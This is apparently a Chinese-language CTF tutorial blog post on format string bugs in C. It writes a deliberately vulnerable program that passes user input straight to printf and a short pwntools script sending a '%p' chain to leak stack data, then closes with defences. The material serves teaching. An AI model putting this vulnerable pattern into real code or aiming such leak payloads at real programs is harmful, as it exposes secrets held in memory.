iT邦幫忙

2026 iThome 鐵人賽

DAY 27
0
Security

CTF 菜鳥修練日誌系列 第 27 篇

Day 27:【Pwn】格式化字串漏洞 (Format String Bug) 原理與實作

  • 分享至 

  • xImage
  •  

1. 前言與核心概念

在 C 語言開發中,開發者常使用 printf、fprintf、sprintf 等格式化輸出函數。合法的用法應該是:

printf("Hello %s", name);

但如果開發者寫成了以下這種偷懶或不安全的寫法:

printf(user_input); // 危險!直接把使用者輸入當作格式化字串

這就會引發 格式化字串漏洞 (Format String Bug, FSB)。攻擊者可以藉此讀取堆疊或記憶體中的敏感資料(如密碼、Canary、暫存器數值),甚至進一步透過 %n 參數修改記憶體中的任意資料。

2. 格式化字串的運作原理

printf 會依據傳入的格式化參數(如 %d, %x, %s, %p)去對應暫存器或堆疊上的參數:
%p 或 %x:會依序印出堆疊或暫存器上的內容(Hex 格式)。
%s:會將堆疊上的數值當作記憶體指標(Pointer),去讀取該指標指向的字串內容。
%n:會將目前已經印出的字元總數,寫入到對應指標指向的記憶體變數中!
如果沒有提供足夠的參數給 printf,它就會直接把「堆疊上殘留的數值」當作參數印出來。這就是資訊洩漏的根源。

3. 實戰演練:寫一個存在格式化字串漏洞的 C 程式

我們在 WSL 中親自寫一個存在 FSB 漏洞的 C 程式,並觀察如何利用 %p 洩漏堆疊上的機密資料!

步驟一:撰寫 Vulnerable C 程式

在 WSL 終端機中執行以下命令:

# 1. 建立具有格式化字串漏洞的 C 原始碼
cat << 'EOF' > fsb_demo.c
#include <stdio.h>

void vulnerable_function() {
    char secret_flag[32] = "picoCTF{f0rm4t_5tr1ng_l34k_99a}";
    char buffer[64];
    
    printf("Enter your input: ");
    if (fgets(buffer, sizeof(buffer), stdin) != NULL) {
        // 嚴重錯誤:直接將 buffer 當作格式化字串輸出!
        printf("--- Output Start ---\n");
        printf(buffer);
        printf("--- Output End ---\n");
    }
}

int main() {
    printf("=== Format String Bug Demo ===\n");
    vulnerable_function();
    return 0;
}
EOF

# 2. 編譯 C 程式 (關閉部分防護以便觀察)
gcc -fno-stack-protector fsb_demo.c -o fsb_demo

https://ithelp.ithome.com.tw/upload/images/20261011/20184211T3mTXBi8HO.png

步驟二:測試連續 %p 洩漏記憶體資料

執行剛才編譯好的二進位檔,並輸入連續的 %p 來觀看堆疊上的殘留數值:

./fsb_demo

輸入:%p %p %p %p %p %p
預期輸出畫面:
你會發現終端機印出了一連串的記憶體地址(如 0x7ffc...),這些正是堆疊或暫存器上未被清理的變數內容!
https://ithelp.ithome.com.tw/upload/images/20261011/20184211nrgs9QBQVQ.png

步驟三:精準透過偏移量 (Offset) 讀取堆疊字串

如果我們想找出藏在堆疊上的 secret_flag,可以使用重複的 %p 或直接用 %x 配合偏移量去尋找對應位置,或者在 CTF 中透過 Python 自動化腳本進行爆破與提取。

# 創建 day27_fsb_exploit.py
cat << 'EOF' > day27_fsb_exploit.py
from pwn import *

def exploit_fsb():
    # 啟動本地二進位程式
    p = process('./fsb_demo')
    
    # 透過連續的 %p 嘗試將堆疊上的資料印出
    # 在真實題目的堆疊結構中,可以透過調整 %x 或 %s 的位移來精準抓取 Flag
    payload = b"%p.%p.%p.%p.%p.%p.%p.%p"
    
    p.recvuntil(b"Enter your input: ")
    p.sendline(payload)
    
    output = p.recvall(timeout=1).decode(errors='ignore')
    print(f"\n[🎯] 成功擷取洩漏出的堆疊記憶體資訊:\n{output}")

if __name__ == "__main__":
    exploit_fsb()
EOF

python3 day27_fsb_exploit.py

https://ithelp.ithome.com.tw/upload/images/20261011/20184211xlNLxjdU5J.png

4. 總結與防禦建議

今天我們認識了格式化字串漏洞的成因,並透過 printf(buffer) 的不當使用,親眼見證了如何透過 %p 窺探堆疊上的記憶體秘密。
如何防禦格式化字串漏洞?

  1. 永遠不要將使用者輸入直接作為格式化參數:寫成 printf("%s", buffer) 即可完美根治。

  2. 編譯器警告:現代 GCC 會針對 printf(buffer) 發出 -Wformat 警告,開發時切勿忽略編譯警告訊息。


上一篇
Day 26:【Pwn】什麼是緩衝區溢位 (Buffer Overflow)?記憶體結構解
下一篇
Day 28:【Reverse/Pwn】GDB 動態追蹤:設定中斷點 (Breakpoint) 與暫存器觀察
系列文
CTF 菜鳥修練日誌 共 30 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言